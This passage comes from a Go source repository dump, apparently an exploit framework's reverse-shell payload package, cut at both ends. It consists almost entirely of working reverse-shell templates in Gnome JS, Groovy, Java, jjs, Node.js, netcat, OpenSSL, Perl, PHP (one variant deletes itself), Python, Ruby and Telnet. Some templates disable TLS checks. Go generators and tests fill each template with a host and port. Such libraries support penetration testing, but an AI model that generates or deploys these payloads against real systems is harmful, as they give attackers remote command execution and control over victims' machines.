Gio.SocketClient()).connect_to_host("%s:%d", null, null); let output = connection.get_output_stream(); let input = new Gio.DataInputStream({ base_stream: connection.get_input_stream() }); while (true) { let [cmd, size] = input.read_line(null); let [res, out, err, status] = GLib.spawn_command_line_sync(imports.byteArray.toString(cmd)); output.write_bytes(new GLib.Bytes(imports.byteArray.toString(out)), null); } } catch (e) { } ================================================ FILE: payload/reverse/gjscript.go ================================================ package reverse import ( _ "embed" "fmt" "strings" ) //go:embed gjscript/glib_spawn.gjs var GJScriptGLibSpawn string var GJScriptDefault = GJScriptGLibSpawn // Generates Gnome JS payload. func (gjs *GJScriptPayload) Default(lhost string, lport int) string { return strings.Trim(fmt.Sprintf(GJScriptDefault, lhost, lport), "\r\n") } // Generates a script that can be used to create a reverse shell via // gjs (Gnome JS - present on Ubuntu, Debian by default). func (gjs *GJScriptPayload) GLibSpawn(lhost string, lport int) string { return strings.Trim(fmt.Sprintf(GJScriptGLibSpawn, lhost, lport), "\r\n") } ================================================ FILE: payload/reverse/groovy/classic.groovy ================================================ shell='/bin/sh';if(System.getProperty('os.name').indexOf('Windows')!=-1)shell='cmd.exe';Process p=new ProcessBuilder(shell).redirectErrorStream(true).start();Socket s=new Socket('%s',%d);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ================================================ FILE: payload/reverse/groovy.go ================================================ package reverse import ( _ "embed" "fmt" "strings" ) var ( //go:embed groovy/classic.groovy GroovyClassic string GroovyDefault = GroovyClassic ) func (groovy *GroovyPayload) Default(lhost string, lport int) string { return strings.Trim(groovy.GroovyClassic(lhost, lport), "\r\n") } // A short payload that creates a reverse shell using /bin/sh -i. func (groovy *GroovyPayload) GroovyClassic(lhost string, lport int) string { return strings.Trim(fmt.Sprintf(GroovyClassic, lhost, lport), "\r\n") } ================================================ FILE: payload/reverse/java/process_builder.java ================================================ String shell = "/bin/sh"; if (System.getProperty("os.name").indexOf("Windows") != -1) { shell = "cmd.exe"; }; Process p = new ProcessBuilder(shell).redirectErrorStream(true).start(); Socket s = new Socket("%s", %d); InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream(); OutputStream po = p.getOutputStream(), so = s.getOutputStream(); while (!s.isClosed()) { while (pi.available() > 0) so.write(pi.read()); while (pe.available() > 0) so.write(pe.read()); while (si.available() > 0) po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; } catch (Exception e) {} }; p.destroy(); s.close(); ================================================ FILE: payload/reverse/java.go ================================================ package reverse import ( _ "embed" "fmt" "strings" ) var ( //go:embed java/process_builder.java JavaProcessBuilderInteractive string JavaDefault = JavaProcessBuilderInteractive ) // Defaults to the UnflattenedJava payload. func (java *JavaPayload) Default(lhost string, lport int) string { return strings.Trim(java.UnflattenedJava(lhost, lport), "\r\n") } // An unflattened Java reverse shell. This is the "classic" Java reverse shell that spins out // the shell using ProcessBuilder and then redirects input/output to/from the sockets. func (java *JavaPayload) UnflattenedJava(lhost string, lport int) string { return strings.Trim(fmt.Sprintf(JavaProcessBuilderInteractive, lhost, lport), "\r\n") } ================================================ FILE: payload/reverse/jjs/reverse_shell.jjs ================================================ var shell = "bash"; if (java.lang.System.getProperty("os.name").indexOf("Windows") != -1) { shell = "cmd.exe"; } var p=new java.lang.ProcessBuilder(shell).redirectErrorStream(true).start();var s=new java.net.Socket("%s", %d); var socketInput = new java.io.BufferedReader(new java.io.InputStreamReader(s.getInputStream())); var socketOutput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream())); var processInput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(p.getOutputStream())); var processOutput = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream())); while (!s.isClosed()) { var data if ((data = socketInput.readLine()) != null) { processInput.write(data + "\n"); processInput.flush() } java.lang.Thread.sleep(50); while (processOutput.ready() && (data = processOutput.read()) > 0) { socketOutput.write(data); } socketOutput.flush() try { p.exitValue(); break; } catch (e) { } } p.destroy(); s.close(); ================================================ FILE: payload/reverse/jjs/reverse_shell_ssl.jjs ================================================ var shell = "bash"; if (java.lang.System.getProperty("os.name").indexOf("Windows") != -1) { shell = "cmd.exe"; } var p=new java.lang.ProcessBuilder(shell).redirectErrorStream(true).start(); var X509TrustManager = Java.type("javax.net.ssl.X509TrustManager"); var permissiveTrustManager = Java.extend(X509TrustManager, { getAcceptedIssuers: function(){return null;}, checkClientTrusted: function(certs, authType){return;}, checkServerTrusted: function(certs, authType){return;} } ); var trustAllCerts = [new permissiveTrustManager()]; var sc = javax.net.ssl.SSLContext.getInstance("TLS"); sc.init(null, trustAllCerts, new java.security.SecureRandom()); var factory = sc.getSocketFactory(); var s=factory.createSocket("%s", %d); s.startHandshake() var socketInput = new java.io.BufferedReader(new java.io.InputStreamReader(s.getInputStream())); var socketOutput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream())); var processInput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(p.getOutputStream())); var processOutput = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream())); while (!s.isClosed()) { var data if ((data = socketInput.readLine()) != null) { processInput.write(data + "\n"); processInput.flush() } java.lang.Thread.sleep(50); while (processOutput.ready() && (data = processOutput.read()) > 0) { socketOutput.write(data); } socketOutput.flush() try { p.exitValue(); break; } catch (e) { } } p.destroy(); s.close(); ================================================ FILE: payload/reverse/jjs.go ================================================ package reverse import ( _ "embed" "fmt" "strings" ) var ( //go:embed jjs/reverse_shell.jjs JJSShell string //go:embed jjs/reverse_shell_ssl.jjs JJSShellSSL string ) // Generates a script that can be used to create a reverse shell via jjs (Java javascript). // This is an adapted version of Frohoff's OG gist. Additionally, the disabling of TLS validation // logic was adapted from a blog written by Callan Howell-Pavia. // // The script will autodetect if the platform is Windows and provide a 'cmd.exe' shell. Otherwise // bash is used. // // https://redthunder.blog/2018/04/09/disabling-hostname-validation-in-nashorn-javascript/ // https://gist.github.com/frohoff/8e7c2bf3737032a25051 func (jjs *JJSScriptPayload) Default(lhost string, lport int, ssl bool) string { var script string if ssl { script = strings.Trim(fmt.Sprintf(JJSShellSSL, lhost, lport), "\r\n") } else { script = strings.Trim(fmt.Sprintf(JJSShell, lhost, lport), "\r\n") } return script } ================================================ FILE: payload/reverse/js.go ================================================ package reverse import ( _ "embed" "fmt" ) var ( //go:embed nodejs/reverse.js NodeJS string //go:embed nodejs/reverse_tls.js SecureNodeJS string ) // NodeJS generates a Node compatible reverse shell with OS detection for Windows. It is not minified and utilizes double quotes. func (js *JavascriptPayload) NodeJS(lhost string, lport int) string { return fmt.Sprintf(NodeJS, lport, lhost) } // SecureNodeJS generates a Node compatible reverse shell with TLS support with OS detection for Windows. It is not minified and utilizes double quotes. func (js *JavascriptPayload) SecureNodeJS(lhost string, lport int) string { return fmt.Sprintf(SecureNodeJS, lport, lhost) } ================================================ FILE: payload/reverse/netcat.go ================================================ package reverse import ( "fmt" "github.com/vulncheck-oss/go-exploit/random" ) const ( NetcatDefault = NetcatGaping NetcatGaping = `nc %s %d -e /bin/sh` NetcatMknod = `cd /tmp/; mknod %s p;cat %s|/bin/sh -i 2>&1|nc %s %d >%s; rm %s;` ) func (nc *NetcatPayload) Default(lhost string, lport int) string { return fmt.Sprintf(NetcatDefault, lhost, lport) } // Utilize the GAPING_SECURITY_HOLE `nc -e` netcat option. func (nc *NetcatPayload) Gaping(lhost string, lport int) string { return fmt.Sprintf(NetcatGaping, lhost, lport) } // Uses mknod to create a FIFO that redirects interactive shell through netcat and the FIFO. func (nc *NetcatPayload) Mknod(lhost string, lport int) string { node := random.RandLetters(3) return fmt.Sprintf(NetcatMknod, node, node, lhost, lport, node, node) } ================================================ FILE: payload/reverse/nodejs/reverse.js ================================================ (function(){ var net = require('net'), cp = require('child_process'), shell = "/bin/sh"; if(process.platform == "win32") { shell = "cmd.exe" }; var sh = cp.spawn(shell, []); var client = new net.Socket(); client.connect(%d, '%s', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return; })(); ================================================ FILE: payload/reverse/nodejs/reverse_tls.js ================================================ (function(){ var tls = require('tls'), cp = require('child_process'), shell = "/bin/sh"; if(process.platform == "win32") { shell = "cmd.exe" }; sh = cp.spawn(shell, []); var client = new tls.TLSSocket(); options = {rejectUnauthorized: false} client.connect(%d, '%s', options, function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return; })(); ================================================ FILE: payload/reverse/openssl.go ================================================ package reverse import ( "fmt" "github.com/vulncheck-oss/go-exploit/random" ) const ( OpenSSLDefault = OpenSSLMknod OpenSSLMknod = `cd /tmp; mknod %s p; sh -i < %s 2>&1 | openssl s_client -quiet -connect %s:%d > %s; rm %s;` OpenSSLMkfifo = `cd /tmp; mkfifo %s; sh -i < %s 2>&1 | openssl s_client -quiet -connect %s:%d > %s; rm %s;` ) func (openssl *OpenSSLPayload) Default(lhost string, lport int) string { return openssl.Mknod(lhost, lport) } func (openssl *OpenSSLPayload) Mknod(lhost string, lport int) string { node := random.RandLetters(3) return fmt.Sprintf(OpenSSLDefault, node, node, lhost, lport, node, node) } func (openssl *OpenSSLPayload) Mkfifo(lhost string, lport int) string { fifo := random.RandLetters(3) return fmt.Sprintf(OpenSSLMkfifo, fifo, fifo, lhost, lport, fifo, fifo) } ================================================ FILE: payload/reverse/perl.go ================================================ package reverse import ( "fmt" ) const ( PerlDefault = PerlSocket PerlSocket = `perl -e 'use Socket;$i="%s";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'` PerlFork = `perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"%s:%d");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'` PerlNonBlocking = `perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"%s:%d");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1}};'` ) func (perl *PerlPayload) Default(lhost string, lport int) string { return perl.Socket(lhost, lport) } // Uses socket redirection to create a reverse shell via /bin/sh -i. func (perl *PerlPayload) Socket(lhost string, lport int) string { return fmt.Sprintf(PerlSocket, lhost, lport) } // Creates a forking reverse shell using IO::Socket::INET. func (perl *PerlPayload) Fork(lhost string, lport int) string { return fmt.Sprintf(PerlFork, lhost, lport) } // Creates a non-blocking reverse shell using IO::Socket::INET without forking. func (perl *PerlPayload) NonBlocking(lhost string, lport int) string { return fmt.Sprintf(PerlNonBlocking, lhost, lport) } ================================================ FILE: payload/reverse/php/unflattened.php ================================================ 0) { $readAmount = $size %% 1024; $data = fread($input, $readAmount); if (fwrite($output, $data)) { $size -= $readAmount; } } } $windows = false; $prog = "/bin/sh"; if (strpos(strtolower(PHP_OS), "win") !== false) { $windows = true; $prog = "cmd.exe"; } $context = stream_context_create([ 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]); $stream = stream_socket_client("%s", $errno, $errstr, ini_get("default_socket_timeout"), STREAM_CLIENT_CONNECT, $context); $process = proc_open($prog, array(0=>array("pipe", "r"), 1=>array("pipe", "w"), 2=>array("pipe", "w")), $pipes); stream_set_blocking($stream, 0); stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); while(true) { if (feof($stream) || feof($pipes[1])) { break; } $readArray = array($stream, $pipes[1], $pipes[2]); $empty = null; $selected = stream_select($readArray, $empty, $empty, null); if (in_array($stream, $readArray)) { dataTransfer($stream, $pipes[0]); } if ($windows == false) { if (in_array($pipes[1], $readArray)) { dataTransfer($pipes[1], $stream); } if (in_array($pipes[2], $readArray)) { dataTransfer($pipes[2], $stream); } } else { if (fstat($pipes[1])["size"]) { windowsDataTransfer($pipes[1], $stream); } if (fstat($pipes[2])["size"]) { windowsDataTransfer($pipes[2], $stream); } } } ?> ================================================ FILE: payload/reverse/php/unflattened_self_delete.php ================================================ 0) { $readAmount = $size %% 1024; $data = fread($input, $readAmount); if (fwrite($output, $data)) { $size -= $readAmount; } } } $windows = false; $prog = "/bin/sh"; if (strpos(strtolower(PHP_OS), "win") !== false) { $windows = true; $prog = "cmd.exe"; } $context = stream_context_create([ 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]); $stream = stream_socket_client("%s", $errno, $errstr, ini_get("default_socket_timeout"), STREAM_CLIENT_CONNECT, $context); $process = proc_open($prog, array(0=>array("pipe", "r"), 1=>array("pipe", "w"), 2=>array("pipe", "w")), $pipes); stream_set_blocking($stream, 0); stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); while(true) { if (feof($stream) || feof($pipes[1])) { break; } $readArray = array($stream, $pipes[1], $pipes[2]); $empty = null; $selected = stream_select($readArray, $empty, $empty, null); if (in_array($stream, $readArray)) { dataTransfer($stream, $pipes[0]); } if ($windows == false) { if (in_array($pipes[1], $readArray)) { dataTransfer($pipes[1], $stream); } if (in_array($pipes[2], $readArray)) { dataTransfer($pipes[2], $stream); } } else { if (fstat($pipes[1])["size"]) { windowsDataTransfer($pipes[1], $stream); } if (fstat($pipes[2])["size"]) { windowsDataTransfer($pipes[2], $stream); } } } ?> ================================================ FILE: payload/reverse/php.go ================================================ package reverse import ( _ "embed" "fmt" "strings" ) var ( PHPDefault = PHPLinuxInteractive PHPLinuxInteractive = `$sock, 1=>$sock, 2=>$sock),$pipes); ?>` //go:embed php/unflattened.php PHPUnflattened string //go:embed php/unflattened_self_delete.php PHPUnflattenedSelfDelete string ) func (php *PHPPayload) Default(lhost string, lport int) string { return strings.Trim(php.LinuxInteractive(lhost, lport), "\r\n") } // A short payload that creates a reverse shell using /bin/sh -i. func (php *PHPPayload) LinuxInteractive(lhost string, lport int) string { return strings.Trim(fmt.Sprintf(PHPDefault, lhost, lport), "\r\n") } // Creates an encrypted reverse shell using PHP. The payload autodetects the operating system and // will selected cmd.exe or /bin/sh accordingly.. The user also specifies if the reverse shell // should be encrypted or not. // // reverse.PHP.Unflattened("10.9.49.80", 1270, true). func (php *PHPPayload) Unflattened(lhost string, lport int, encrypted bool) string { hostname := fmt.Sprintf("%s:%d", lhost, lport) if encrypted { hostname = "tls://" + hostname } return strings.Trim(fmt.Sprintf(PHPUnflattened, hostname), "\r\n") } // Creates an encrypted reverse shell using PHP, same as Unflattened, but attempts to self-delete // and sets up destructors to delete file on disk when command exits. func (php *PHPPayload) UnflattenedSelfDelete(lhost string, lport int, encrypted bool) string { hostname := fmt.Sprintf("%s:%d", lhost, lport) if encrypted { hostname = "tls://" + hostname } return strings.Trim(fmt.Sprintf(PHPUnflattenedSelfDelete, hostname), "\r\n") } ================================================ FILE: payload/reverse/python/reverse27.py ================================================ import socket import subprocess s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('%s', %d)) while 1: data = s.recv(1024).decode('UTF-8') if data == 'exit\n': break if len(data) > 0: proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) s.send(proc.stdout.read() + proc.stderr.read()) s.close() ================================================ FILE: payload/reverse/python/reverse27_secure.py ================================================ import socket import subprocess import ssl s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('%s', %d)) sslsock = ssl.wrap_socket(s, cert_reqs=ssl.CERT_NONE) while 1: data = sslsock.recv(1024).decode('UTF-8') if data == 'exit\n': break if len(data) > 0: proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) sslsock.send(proc.stdout.read() + proc.stderr.read()) sslsock.close() ================================================ FILE: payload/reverse/python/reverse3_12_secure.py ================================================ import socket import subprocess import ssl s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('%s', %d)) ssls = ssl.create_default_context() ssls.check_hostname=False ssls.verify_mode=ssl.CERT_NONE sslsock = ssls.wrap_socket(s) while 1: data = sslsock.recv(1024).decode('UTF-8') if data == 'exit\n': break if len(data) > 0: proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) sslsock.send(proc.stdout.read() + proc.stderr.read()) sslsock.close() ================================================ FILE: payload/reverse/python.go ================================================ package reverse import ( _ "embed" "fmt" ) var ( PythonDefault = Python27 //go:embed python/reverse27.py Python27 string //go:embed python/reverse27_secure.py Python27Secure string //go:embed python/reverse3_12_secure.py Python3_12Secure string ) func (py *PythonPayload) Default(lhost string, lport int) string { return py.Python27(lhost, lport) } // An unflattened reverse shell that works on Python 2.7, 3+, Windows and Linux. func (py *PythonPayload) Python27(lhost string, lport int) string { return fmt.Sprintf(PythonDefault, lhost, lport) } // An unflattened reverse shell that uses an SSL socket, works on Python 2.7, 3+, Windows and Linux. func (py *PythonPayload) SecurePython27(lhost string, lport int) string { return fmt.Sprintf(Python27Secure, lhost, lport) } // An unflattened reverse shell that uses an SSL socket for Python 3.12 context, Windows and Linux. // This payload is required when doing 3.12 SSL reverse shells as Python moved to requiring SSL // context over simple socket wraps. func (py *PythonPayload) SecurePython312(lhost string, lport int) string { return fmt.Sprintf(Python3_12Secure, lhost, lport) } ================================================ FILE: payload/reverse/reverse.go ================================================ // Reverse shell and command payloads. // // The reverse package contains all the code for reverse shell payloads. Each of these payload types can be // used either in the raw string format for manipulation or via the specific payload type provided by the // project. // // This package is designed to be abstract enough to allow for multiple types of composition, but always with // the fact that payloads are almost always string or byte oriented. With this in mind the payloads may be // invoked with a constructed type or a direct string call. // // For example, here are the 3 ways to create a netcat reverse shell payload that result in the same payload: // // reverse.Netcat.Default("127.0.0.1", 1337) // reverse.Netcat.Mknod("127.0.0.1", 1337) // fmt.Sprintf(reverse.NetcatMknod, "127.0.0.1", 1337) // // Each of the defined payload types should utilize a Default reverse shell constant that corresponds to the // most common case. package reverse // Defines the Default function to be created for each type of payload. type Reverse interface { Default } type Default interface{} // Defines the default Bash struct and all associated payload functions. type ( BashPayload struct{} GJScriptPayload struct{} JJSScriptPayload struct{} JavascriptPayload struct{} JavaPayload struct{} NetcatPayload struct{} OpenSSLPayload struct{} PHPPayload struct{} PythonPayload struct{} TelnetPayload struct{} GroovyPayload struct{} PerlPayload struct{} RubyPayload struct{} VBSHTTPPayload struct{} ) var ( // Example: makes the Bash payloads accessible via `reverse.Bash`. Bash = &BashPayload{} GJScript = &GJScriptPayload{} JJS = &JJSScriptPayload{} Java = &JavaPayload{} Javascript = &JavascriptPayload{} Netcat = &NetcatPayload{} OpenSSL = &OpenSSLPayload{} PHP = &PHPPayload{} Python = &PythonPayload{} Telnet = &TelnetPayload{} Groovy = &GroovyPayload{} Perl = &PerlPayload{} Ruby = &RubyPayload{} VBSHTTP = &VBSHTTPPayload{} ) ================================================ FILE: payload/reverse/reverse_test.go ================================================ package reverse_test import ( "fmt" "strings" "testing" "github.com/vulncheck-oss/go-exploit/payload/reverse" ) func ExampleBashPayload_Default() { fmt.Println(reverse.Bash.Default("127.0.0.1", 1337)) // Output: // bash -c 'bash &> /dev/tcp/127.0.0.1/1337 <&1' } func TestBashDefault(t *testing.T) { payload := reverse.Bash.Default("127.0.0.1", 4444) if payload != "bash -c 'bash &> /dev/tcp/127.0.0.1/4444 <&1'" { t.Fatal(payload) } t.Log(payload) } func TestBashHTTPShellLoop(t *testing.T) { payload := reverse.Bash.HTTPShellLoop("127.0.0.1", 4444, true, "vulncheck") if payload != `bash -c 'while :; do curl -d "$(bash -c "$(curl -k -H"VC-Auth: vulncheck" https://127.0.0.1:4444 || exit)")" -k -H"VC-Auth: vulncheck" https://127.0.0.1:4444/rx ||exit;sleep 1;done'` { t.Fatal(payload) } payload = reverse.Bash.HTTPShellLoop("127.0.0.1", 4444, false, "vulncheck") if payload != `bash -c 'while :; do curl -d "$(bash -c "$(curl -H"VC-Auth: vulncheck" http://127.0.0.1:4444 || exit)")" -H"VC-Auth: vulncheck" http://127.0.0.1:4444/rx ||exit;sleep 1;done'` { t.Fatal(payload) } t.Log(payload) } func TestNetcatGaping(t *testing.T) { payload := reverse.Netcat.Default("127.0.0.1", 4444) if payload != "nc 127.0.0.1 4444 -e /bin/sh" { t.Fatal(payload) } t.Log(payload) } func TestNetcatMknod(t *testing.T) { payload := reverse.Netcat.Mknod("127.0.0.1", 4444) // random element to this one so just look for the required bits if !strings.Contains(payload, "|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >") { t.Fatal(payload) } } func TestTelnetMknod(t *testing.T) { payload := reverse.Telnet.Mknod("127.0.0.1", 4444, true) // random element to this one so just look for the required bits if !strings.Contains(payload, "cd /tmp; mknod ") { t.Fatal(payload) } if !strings.Contains(payload, " p; sh -i < ") { t.Fatal(payload) } if !strings.Contains(payload, "2>&1 | telnet 127.0.0.1:4444") { t.Fatal(payload) } t.Log(payload) payload = reverse.Telnet.Mknod("127.0.0.1", 4444, false) if !strings.Contains(payload, "2>&1 | telnet 127.0.0.1 4444") { t.Fatal(payload) } } func TestTelnetMkfifo(t *testing.T) { payload := reverse.Telnet.Mkfifo("127.0.0.1", 4444, true) // random element to this one so just look for the required bits if !strings.Contains(payload, "cd /tmp; mkfifo ") { t.Fatal(payload) } if !strings.Contains(payload, "; telnet 127.0.0.1:4444 0<") { t.Fatal(payload) } t.Log(payload) payload = reverse.Telnet.Mkfifo("127.0.0.1", 4444, false) if !strings.Contains(payload, "; telnet 127.0.0.1 4444 0<") { t.Fatal(payload) } } func TestOpenSSLMknod(t *testing.T) { payload := reverse.OpenSSL.Mknod("127.0.0.1", 4444) // random element to this one so just look for the required bits if !strings.Contains(payload, "cd /tmp; mknod ") { t.Fatal(payload) } if !strings.Contains(payload, " p; sh -i < ") { t.Fatal(payload) } if !strings.Contains(payload, "2>&1 | openssl s_client -quiet -connect 127.0.0.1:4444") { t.Fatal(payload) } t.Log(payload) } func TestOpenSSLMkfifo(t *testing.T) { payload := reverse.OpenSSL.Mkfifo("127.0.0.1", 4444) // random element to this one so just look for the required bits if !strings.Contains(payload, "cd /tmp; mkfifo ") { t.Fatal(payload) } if !strings.Contains(payload, "; sh -i < ") { t.Fatal(payload) } if !strings.Contains(payload, "2>&1 | openssl s_client -quiet -connect 127.0.0.1:4444") { t.Fatal(payload) } t.Log(payload) } func TestPHPLinuxInteractive(t *testing.T) { payload := reverse.PHP.LinuxInteractive("127.0.0.2", 8181) if !strings.Contains(payload, `$sock=fsockopen("127.0.0.2",8181);$proc=proc_open("/bin/sh -i"`) { t.Fatal(payload) } } func TestPHPUnflattened(t *testing.T) { payload := reverse.PHP.Unflattened("127.0.0.1", 8989, true) if !strings.Contains(payload, `stream_socket_client("tls://127.0.0.1:8989",`) { t.Fatal(payload) } payload = reverse.PHP.Unflattened("127.0.0.1", 8989, false) if !strings.Contains(payload, `stream_socket_client("127.0.0.1:8989",`) { t.Fatal(payload) } } func TestPHPUnflattenedSelfDelete(t *testing.T) { payload := reverse.PHP.UnflattenedSelfDelete("127.0.0.1", 8989, true) if !strings.Contains(payload, `stream_socket_client("tls://127.0.0.1:8989",`) { t.Fatal(payload) } if !strings.Contains(payload, `__destruct`) { t.Fatal(payload) } payload = reverse.PHP.UnflattenedSelfDelete("127.0.0.1", 8989, false) if !strings.Contains(payload, `stream_socket_client("127.0.0.1:8989",`) { t.Fatal(payload) } if !strings.Contains(payload, `__destruct`) { t.Fatal(payload) } } func TestGroovyClassic(t *testing.T) { payload := reverse.Groovy.GroovyClassic("127.0.0.2", 9000) expected := `shell='/bin/sh';if(System.getProperty('os.name').indexOf('Windows')!=-1)shell='cmd.exe';` + `Process p=new ProcessBuilder(shell).redirectErrorStream(true).start();Socket s=new Socket('127.0.0.2',9000);` + `InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream()` + `,so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)` + `so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);` + `try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();` if payload != expected { t.Fatal(payload) } } func TestNodeJS(t *testing.T) { payload := reverse.Javascript.NodeJS("127.0.0.3", 1312) expected := `(function(){ var net = require('net'), cp = require('child_process'), shell = "/bin/sh"; if(process.platform == "win32") { shell = "cmd.exe" }; var sh = cp.spawn(shell, []); var client = new net.Socket(); client.connect(1312, '127.0.0.3', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return; })();` if payload != expected { t.Fatal(payload) } payload = reverse.Javascript.SecureNodeJS("127.0.0.4", 1312) expected = `(function(){ var tls = require('tls'), cp = require('child_process'), shell = "/bin/sh"; if(process.platform == "win32") { shell = "cmd.exe" }; sh = cp.spawn(shell, []); var client = new tls.TLSSocket(); options = {rejectUnauthorized: false} client.connect(1312, '127.0.0.4', options, function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return; })();` if payload != expected { t.Fatal(payload) } } func TestPython312(t *testing.T) { payload := reverse.Python.SecurePython312("127.0.0.2", 9000) expected := `import socket import subprocess import ssl s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.2', 9000)) ssls = ssl.create_default_context() ssls.check_hostname=False ssls.verify_mode=ssl.CERT_NONE sslsock = ssls.wrap_socket(s) while 1: data = sslsock.recv(1024).decode('UTF-8') if data == 'exit\n': break if len(data) > 0: proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) sslsock.send(proc.stdout.read() + proc.stderr.read()) sslsock.close() ` if payload != expected { t.Fatal(payload) } } func assertContains(t *testing.T, payload string, substrs ...string) { t.Helper() for _, s := range substrs { if !strings.Contains(payload, s) { t.Fatalf("payload missing %q:\n%s", s, payload) } } } func TestPerlSocket(t *testing.T) { payload := reverse.Perl.Default("127.0.0.1", 4444) assertContains(t, payload, `perl -e`, `$i="127.0.0.1"`, `$p=4444`, `exec("/bin/sh -i")`) } func TestPerlFork(t *testing.T) { payload := reverse.Perl.Fork("127.0.0.1", 4444) assertContains(t, payload, `perl -MIO`, `PeerAddr,"127.0.0.1:4444"`, `fork`) } func TestPerlNonBlocking(t *testing.T) { payload := reverse.Perl.NonBlocking("127.0.0.1", 4444) assertContains(t, payload, `perl -MIO`, `PeerAddr,"127.0.0.1:4444"`, `system $1`) } func TestRubySocket(t *testing.T) { payload := reverse.Ruby.Default("127.0.0.1", 4444) assertContains(t, payload, `ruby -rsocket`, `TCPSocket.open("127.0.0.1",4444)`, `/bin/sh -i`) } func TestRubyFork(t *testing.T) { payload := reverse.Ruby.Fork("127.0.0.1", 4444) assertContains(t, payload, `ruby -rsocket`, `TCPSocket.new("127.0.0.1",4444)`, `fork`, `Dir.chdir`, `rescue c.puts`) } ================================================ FILE: payload/reverse/ruby.go ================================================ package reverse import ( "fmt" ) const ( RubyDefault = RubySocket RubySocket = `ruby -rsocket -e'f=TCPSocket.open("%s",%d).to_i;exec sprintf("/bin/sh -i <&%%d >&%%d 2>&%%d",f,f,f)'` RubyFork = `ruby -rsocket -e'exit if fork;c=TCPSocket.new("%s",%d);loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'` ) func (ruby *RubyPayload) Default(lhost string, lport int) string { return ruby.Socket(lhost, lport) } // Uses TCPSocket with file descriptor redirection to create a reverse shell. func (ruby *RubyPayload) Socket(lhost string, lport int) string { return fmt.Sprintf(RubySocket, lhost, lport) } // Creates a forking reverse shell that reads commands in a loop via IO.popen. func (ruby *RubyPayload) Fork(lhost string, lport int) string { return fmt.Sprintf(RubyFork, lhost, lport) } ================================================ FILE: payload/reverse/telnet.go ================================================ package reverse import ( "fmt" "github.com/vulncheck-oss/go-exploit/random" ) const ( TelnetDefault = TelnetMknod TelnetMknod = `cd /tmp; mknod %s p; sh -i < %s 2>&1 | telnet %s:%d > %s; rm %s;` TelnetMknodNoColon = `cd /tmp; mknod %s p; sh -i < %s 2>&1 | telnet %s %d > %s; rm %s;` TelnetMkfifo = `cd /tmp; mkfifo %s; telnet %s:%d 0<%s | sh 1>%s; rm %s;` TelnetMkfifoNoColon = `cd /tmp; mkfifo %s; telnet %s %d 0<%s | sh 1>%s; rm %s;` ) func (telnet *TelnetPayload) Default(lhost string, lport int, colon bool) string { return telnet.Mknod(lhost, lport, colon) } func (telnet *TelnetPayload) Mknod(lhost string, lport int, colon bool) string { node := random.RandLetters(3) if colon { return fmt.Sprintf(TelnetMknod, node, node, lhost, lport, node, node) } return fmt.Sprintf(TelnetMknodNoColon, node, node, lhost, lport, node, node) } func (telnet *TelnetPayload) Mkfifo(lhost string, lport int, colon bool) string { fifo := random.RandLetters(3) if colon { return fmt.Sprintf(TelnetMkfifo, fifo, lhost, lport, fifo, fifo, fifo) } return fmt.Sprintf(TelnetMkfifoNoColon, fifo, lhost, lport, fifo, fifo, fifo) } ================================================ FILE: payload/reverse/vbs/reverse_http.vbs ================================================ Option Explicit CONST lkasjfo = "%s://%s:%d/" CONST fowihe = "%s" Dim xmlHttpReq, shell, execObj, alfkj, break, result, fa Set shell = CreateObject("WScript.Shell") break = False While break <> True Set 